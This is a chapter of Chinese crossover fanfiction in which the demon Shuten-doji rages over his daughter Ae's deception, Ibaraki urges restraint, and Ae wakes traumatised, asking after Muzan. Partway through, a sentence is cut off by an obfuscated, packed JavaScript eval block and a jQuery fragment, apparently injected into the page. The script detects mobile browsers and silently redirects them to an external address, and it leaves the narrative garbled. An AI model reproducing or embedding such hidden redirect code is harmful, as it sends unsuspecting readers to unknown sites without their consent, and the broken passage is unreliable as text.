26.护女狂魔
作品:《[综]蓝色彼岸花成精了》 酒吞说是要把茨木支出去寻找冥道石,而他自己想办法弄清楚事情的来龙去脉。
可是从未处理过庶务的他,又怎么可能在短时间内就搞定呢?
更别提,阿江这会儿的情况非常不好,他根本没心情去关注别的啊。
没办法,这事儿最终还是落到了茨木身上,为了谨慎起见,后者还分别提审了继国缘一和珠世。
同时也从他们口中得知了那一堆碎肉片才是阿江提过的无惨,且这家伙是个极度卑鄙无耻的小人的描述。
但他并未对这些口供的真实性做任何评价,而是将其详细整理后,尽量客观的还原事实,并在一旁附上了缘一和珠世的种种言论。
这是为了能够更准确的分析他们三个在阿江出去的这段时间内到底扮演了什么角色,又对她产生了怎样的影响。
大江山的宫殿群布局一如人间都城平安京,但却更加辉煌壮丽,虽然酒吞不在乎这些,但茨木从来都会给他最好的。
大到一座城,小到一张纸,都是如此。
然而那些在外面价值连城,来自遥远彼岸华国的纸张,此时却正杂乱的摊开放在桌上,密密麻麻的记录看的人眼睛发疼。
“一个心怀不轨的食人鬼。”
“一个自作聪明的侍女。”
“再加上一个空有实力,却没脑子的武士。”
“他们,他们就这样蒙骗阿江,欺负阿江,把她当成傻子哄!”
“那可是我的女儿,我的心肝宝贝!”
“他们怎么敢?”
“他们怎么敢的?!”
……
酒吞简直怒不可遏,他一脚踹翻面前的案台,笔墨纸砚顿时撒了一地,‘噼里啪啦’的声音不绝于耳。
“我要他们死!”
“我要他们现在就死!”
“立刻,马上,无比痛苦的死去!”
“连灵魂都泯灭的那种!”
他许久没有发过这么大的火了,可见这次是真的踩到了他的底线,以至于他不管不顾,只想把所有涉事人员全部处以极刑。
“挚友,这恐怕不行,事情没你想的那么简单,你不要这么莽撞啊。”茨木知道他很愤怒,可是又不得不硬着头皮劝说。
“我莽撞?”酒吞都被气笑了。
“是,我莽撞。”
“那你呢?你谨慎!”
“你的谨慎就是故意放阿江出去,任由她身处险境而置之不理!”
“直到她遍体鳞伤的回来,直到她躺在那里,噩梦连连!”
“这就是你的谨慎,你对她的爱护!”
酒吞的指责就像利刃一样,一刀又一刀的割在茨木的身上,让他鲜血直流,让他心痛难忍,但有些话,他必须得说。
“挚友,我知道你很难过。”
“可是那个食人鬼现在真的不能死,他和阿江之间似乎有莫名的契约在连接着,同生共感的那种。”
“那个侍女也不能死,虽然很不愿意承认,但这段时间,阿江显然是把对母亲的感情投射到了她身上。”
“至于那个武士,他师承大天狗,挚友,我想你是不会杀害自己故友的徒弟的。”
“有鉴于此,我才会劝你不要莽撞。”
茨木深吸几口气,平复下心情后,终于还是抛出了那些不曾写在纸上的关键信息。
“这也不能,那也不能。”
“那你说,我能做些什么?”
“你又能为阿江做些什么?!”
酒吞心里知道他说的有道理,但感情就是过不去,仍旧忍不住厉声质问。
“我会去西国找斗牙王,你也知道他的,就是那只一直跟在九尾狐玉藻前身边的小白犬。”
“现如今,他已经是能独当一面的大妖了,冥道石虽下落不明,但我猜,多半是落在了他手里。”
“拿到冥道石后,我会打开冥界大门,取回三途川的水,帮阿江忘记这段痛苦。”
“但是,挚友你要明白,她可以忘一次,忘两次,但不可能忘一辈子。”
“她总要长大,总要面对现实的。”
“我希望这一切结束后,你可以教导阿江正确的认识世界,看待生活。”
“而不是以爱为名,将她永远困在美好的幻境里。”
“否则这样被骗的痛苦,她迟早还要重复,重复,再重复。”
“真到了那一天,恐怕什么水都没用了。”
“我言尽如此,挚友,你好好想想吧。”
……
话到此处,茨木不再多言,而是行了一礼后,转身出去了。
而这一次,酒吞也破天荒的没有再反驳什么,只是他的脸色也算不上好就是了。
折腾了这么久,外头的天都要亮了,酒吞去看了阿江,她还在睡着,但估计也快醒了。
伺候她的女妖们小心的禀报着昨晚的情况,酒吞也事无巨细的听着,然后摆了摆手,让她们先下去准备膳食,还特地嘱咐要清淡一些,滋补一些。
女妖们自是点头应下不提,而他自己,则就坐在床榻边守着。
有食梦貘的存在,阿江自是一夜好眠,可也正如茨木说的那样,当她醒了之后,所有的记忆都会重现。
“无惨!”
她顿时吓出了一身冷汗,一个鲤鱼打挺就坐了起来,掀开被子就要往外跑。
“阿江!”还是酒吞眼疾手快按住了她。
“父亲?父亲!”
在看到他的一瞬间,她的情绪就再也绷不住了,猛的扑进他怀里。
“救无惨,要救无惨!”
“他怎么样了?”
“有没有事啊?”
她现在根本顾不上别的,只一个劲儿的询问着。
“他没事,暂时没事,我已经……呃,我已经派人去救治了,你先别着急。”
酒吞轻轻拍了拍她的后背,软下语气安抚着。
虽然他无比想把那个图谋不轨的食人鬼给碎尸万段,但看女儿现在这个样子,再想起那个没解开的契约,也只得暂时作罢。
“真的吗?那我现在想去看他,我……”,阿江从他怀里抬起头来,迫不及待的要求道。
“现在不行!”酒吞却不等她说完就打断了。
“我的意思是,他还没有恢复完整,现在的样子有些可怕,你还是过几天再去看他吧。”
似乎也意识到自己说的太绝对了,他又赶紧描补了几句。
“是啊,他的样子,他……”
酒吞不说还好,一说阿江的脑海里就忍不住浮现出了无惨化作无数肉片四散而开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348595|198317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的场景。
更不巧的是,侍奉的女妖们端着膳食进来了,其中还有一道生鱼片。
以至于阿江一看到这个,立刻控制不住的开始干呕,眼泪也是不停的往下流。
“走开,走开!”
“我不要肉片,不要!”
她吓坏了,不住的挥手拒绝。
“耳朵都聋了吗?还不快出去?!”酒吞一边安抚女儿,一边怒斥伺候的女妖们。
不只是端生鱼片的,还有所有跟肉食有关的菜肴都被撤走了,酒吞只让她们留下了一碗汤羹和一些素菜。
“阿江,别怕,没事了,你回家了,没人敢伤害你。”
“别怕,别怕啊。”
“来,吃点东西吧。”
……
他不住的安抚着女儿,可阿江却只缩成一团连连摇头。
“你受了惊吓,又发高热,又做噩梦,不吃东西怎么撑得住呢?还是用一些吧。”
“阿江,你听话,多少用一些。”
“你想想,你若一直不吃东西,弄坏了身体,那谁还会去探望那个无惨?”
还是这最后这一句触动了阿江,她犹豫着伸手去接碗。
“我来,我喂你。”酒吞却避开了她,自己坐的离她更近些,亲自端了碗,又舀了一勺,吹吹,这才送到她唇边。
“……”,看着父亲关切的眼神,想起无惨还需要自己,阿江到底还是乖乖张嘴吃了。
酒吞还不时的给她夹一些小菜,就这样配着喝了小半碗的汤羹,直到阿江摇了摇头表示不吃了,这才罢了。
酒吞吩咐人把东西撤了,又让她们都下去。
“阿江,要不要再睡一会儿?你的神色不太好啊。”他有些关切的问了一句。
“我只是想不明白,缘一怎么会杀无惨呢?”
“还有珠世,她明明是无惨的属下,还很清楚无惨是我爱的人,那她怎么不阻止啊。”
吃了点东西,也冷静下来的阿江终于有时间提出自己的疑问了。
“阿江啊,这个事情有些复杂,你先休息一会儿,晚点等我调查清楚了,再跟你说,好不好?”
一听女儿口中那句‘我爱无惨’,酒吞头上的青筋都快忍不住爆出来了,但为了不再刺激她,他也只能和稀泥,试图蒙混过关。
“不好,我一定要问清楚是怎么回事。”但阿江却连连摇头。
“其实昨夜我已经大概了解了他们的身份。”
“阿江,继国缘一是大天狗的弟子,而大天狗的品行我是信得过的,他绝不会收道德败坏的下作之人为徒。”
“所以这件事,是有内情的。”酒吞眼看瞒不过去,只好挑拣着能说的部分说说。
“那什么内情能让他对无惨下这么重的手啊。”阿江的眉头皱的更紧了。
“……是他的兄长,他的兄长被无惨转化成了鬼。”酒吞没办法,只能如实告知。
“变成鬼不好吗?我们也是鬼啊。”
“人和鬼不是和谐相处的吗?”
“他要是为了这个杀无惨,那就更说不过去了啊。”
阿江觉得这简直就是莫名其妙,逻辑不通。
而酒吞也头一次意识到,自己对女儿的过度保护和灌输的错误的价值观给她造成了多大的影响。

